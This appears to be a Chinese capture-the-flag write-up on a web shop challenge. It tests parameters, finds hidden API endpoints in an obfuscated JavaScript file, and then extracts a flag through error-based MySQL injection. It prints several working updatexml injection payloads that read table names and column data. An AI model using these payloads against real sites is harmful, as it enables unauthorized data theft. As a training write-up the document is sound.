
先进行信息收集。
搜索框输入1。

搜索框输入单引号。

点击库存后发现有个可以修改的参数。

测试后发现范围为1-101。

点击分类后发现/category下的<名>,随便改一个。

白名单限制,不符合白名单404。

查看comment.js后发现有四个api接口。

总结:
| 候选点 | 测试现象 | 结论 |
|---|---|---|
搜索 /search?q= |
加单引号只返回 "0 条",不报错 | 引号被转义 / 参数化,字符串型注不进 |
库存 /api/product/?id= |
101-1 |
id 被强制转整数,非数字归零 |
分类 /category/<名> |
非白名单名一律 404 | 分类名走白名单,拼不进 SQL |
common.js |
4 个 POST 接口 | 名字叫 postNoise(噪声),纯干扰 |
明面没有,攻击面可能会藏在 JS 里。
在商品页里除了常见的 jquery/common/mall,还有一个名字不同的 satellite-runtime.js,打开一看是混淆代码。


如何判断是混淆代码?当一个 JS 里 "看不到正常英文单词 / URL,却有大量数字数组,并且数字被某个函数包起来 ",基本就是用 String.fromCharCode 把字符串拆成 ASCII 数字藏起来了。文件开头那行 var _k=['fromCharCode','createElement','src',...] 更是直接 "自报家门"------ 它连函数名都拆了。
经过测试后发现除了最后一个接口,其余都访问失败。



接下来我们对 /api/auth/usbkey/verify 发 POST。
因为有keycode和pin,所以我们用这两个进行传参,先用1进行测试。

用单引号进行测试。

有报错,可以使用报错注入。
sql
keycode=1' and updatexml(1,concat(0x7e,database()),1)-- -&pin=1

直接查只有三个表,没有看到flag,猜测flag被隐藏在后面:
sql
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -&pin=1

所以修改为:
sql
keycode=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- -&pin=1

LIMIT 3, 1意思为先跳过前 3 行,然后只取 1 行 ------ 也就是结果里的第 4 行。
sql
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)-- -&pin=1

另一边用right解决。
sql
keycode=1' and updatexml(1,concat(0x7e,(select right(flag,23) from flags)),1)-- -&pin=1
